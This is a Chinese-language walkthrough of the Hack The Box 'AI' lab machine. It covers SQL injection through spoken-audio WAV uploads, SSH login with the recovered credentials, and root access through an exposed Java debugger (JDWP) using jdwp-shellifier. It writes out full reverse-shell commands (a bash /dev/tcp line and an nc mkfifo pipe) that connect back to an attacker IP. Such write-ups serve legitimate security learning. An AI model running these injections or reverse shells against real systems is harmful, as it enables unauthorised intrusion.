目录
简介
信息收集
漏洞发现
漏洞利用
权限提升
总结
这是一个比较有创意、考验脑洞的靶机(可能是我见识少),难度主要集中在漏洞发现部分。我按一般逻辑进行渗透,在发现文件上传点和两个文件(db.php和intelligence.php)之后,尝试绕过上传无果,只好借助强大的Google进行寻找思路了,原来是通过上传的wav音频文件进行SQL注入,然后获取用户名和密码通过SSH登录远程主机,最后利用Java调试器进行权限提升。
首先进行全端口扫描:nmap -sS -A -p 0-65535 10.10.10.163,如图:
发现开启22和80端口,主机使用的是Apache httpd 2.4.29版本,然后访问80端口,发现使用的后端语言是php,且存在上传页面,如图:
尝试上传txt,php和构造的文件头为RIFF的wav文件,页面返回的input和Query result 都为空,如图:
使用Dirbruster进行目录扫描,如图:
发现db.php和intelligence.php文件,如图:
然后访问db.php发现页面无任何返回信息,查看源代码也没有信息,然后访问intelligence.php,如图:
看了一下没当回事,然后看到下边的Note: Currently our is API well familiar with Male-US model ,以为是和平常的API一样,然后我试着加一些参数测试,发现完全没变化,搜索Male-US模型也没查到啥有用的信息(后来才发现这是男性英语的含义,仅仅是字面意思,怪我想多了)。
然后又回过头来仔细看了看上边的表格发现,这应该是左边输入的字符串对应右边AI识别的字符串,也就是用声音告诉AI我们要执行的操作,然后AI执行之后返回给我们信息,只不过这里的AI只能识别英文的声音。但是这些字符串怎么让AI接收到呢?当然是通过之前的ai.php页面的上传功能了,因此需要使用把文本转换成wav格式的音频的工具,当在linux下使用espeak程序将英文文本转换为wav音频文件上传之后,无法达到预期的效果,但使用festival下的text2wave工具生成的wav文件可以达到预期的效果,text2speech.org也可以,类似的软件应该不少。
从ai.php页面显示的信息可以分析出这里的AI只能执行数据库中的查询和删除命令,从使用的Web容器和后端语言推测这里使用的数据库应该是MySQL,分析表格发现Comma为“逗号”的英文单词,表格中未提供“单引号”的英文单词,使用翻译软件获取“左单引号”的单词(single openning quote),发现不可以使用,后来查找到Windows 语音API文档,才发现左单引号为open single quote,然后使用echo "open single quote" | text2wave -o test.wav生成wav文件,然后上传即可验证,如图:
尝试使用联合查询注入查看数据库名:'union select database() -- ,结合上述表格中信息及Windows 语音API文档查找“左括号”和“右括号”的单词进行翻译:open single quote join select database open parenthesis close parenthesis comment database,然后保存到voice.txt文件,使用text2wave voice.txt -o db.wav生成db.wav文件,如图:
应该是发音的问题,从intelligence.php页面可以发现此AI对男性的声音有更好的支持,发音较好的读者应该不需要使用工具,直接录制声音上传就可以达到预期效果。尝试添加逗号分割连音:open single quote, join, select, database open parenthesis close parenthesis comment database,然后生成wav文件进行上传,如图:
成功进行SQL注入,然后就是获取数据表,获取列名,获取字段值了,这些就不细说了。最后获取到了users表,表中存在username和password字段,接着获取字段username和password的值,“alexa”和“H,Sq9t6}a<)?q93_”。注入过程中需要注意的是注入过程中使用逗号进行分割连音。
然后尝试使用获取到的用户名和密码通过ssh登录系统,如图:
成功登录系统。
查看网站目录/var/www/html,如图:
python文件为将上传的wav文件转换为文本的程序(即“AI”),db.php中包含mysql登录用户名和密码,查询数据库虽然发现了root的密码,但并不能通过该方法获取root权限。然后查看系统内核版本,如图:
内核版本较新,使用searchsploit未发现该版本的权限提升漏洞,无法从内核进行提权了。然后使用ps -aux | grep root命令查看root用户运行的程序:
可以看到root用户运行这tomcat程序,且在8000端口开启了java调试程序,jdwp存在远程代码执行漏洞。然后查看开启的端口,如图:
确定8000端口是打开的,但是之前使用Nmap扫描的时候却没扫描出,说明防火墙禁止了对该端口的访问,那就需要将目标主机的8000端口转发到本地才可以验证漏洞是否可用。使用ssh -L 8000:127.0.0.1:8000 [email protected]命令将目标主机8000端口转发到本地8000端口,然后查看本地是否开启端口,如图:
然后下载JDWP远程代码利用脚本,然后开启4444端口等待root shell连接,如图:
然后执行./jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "bash -i >& /dev/tcp/10.10.14.68/4444 0>&1",如图:
尝试多次也未获得root shell,尝试写入文件然后执行也无法获得root shell。然后尝试在目标机器创建exp.sh文件,写入:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.68 4444 >/tmp/f,执行./jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd '/home/alexa/exp.sh'数次,如图:
成功获取root shell。
本文记录了对Hack The Box::AI靶机的完整渗透测试流程。从信息收集到分析并发现了网站存在着不同寻常的SQL注入漏洞,接着利用SQL注入漏洞获取到用户名和密码(恰巧该用户名和密码是AI主机的普通用户,可以使用ssh成功登录),从而获得普通shell,然后利用root用户运行的Java调试器结合jdwp远程命令执行漏洞提升为root权限的shell。期间由于英文水平不高而遇到很多坎,但最终还是克服了困难。由于网络环境不良好,提权部分需要多次尝试。尽管尝试数次使用bash反弹shell(有时候漏洞利用程序成功执行),但是仍未获得root shell,转而使用nc反弹shell尝试数次之后成功获得root权限的shell。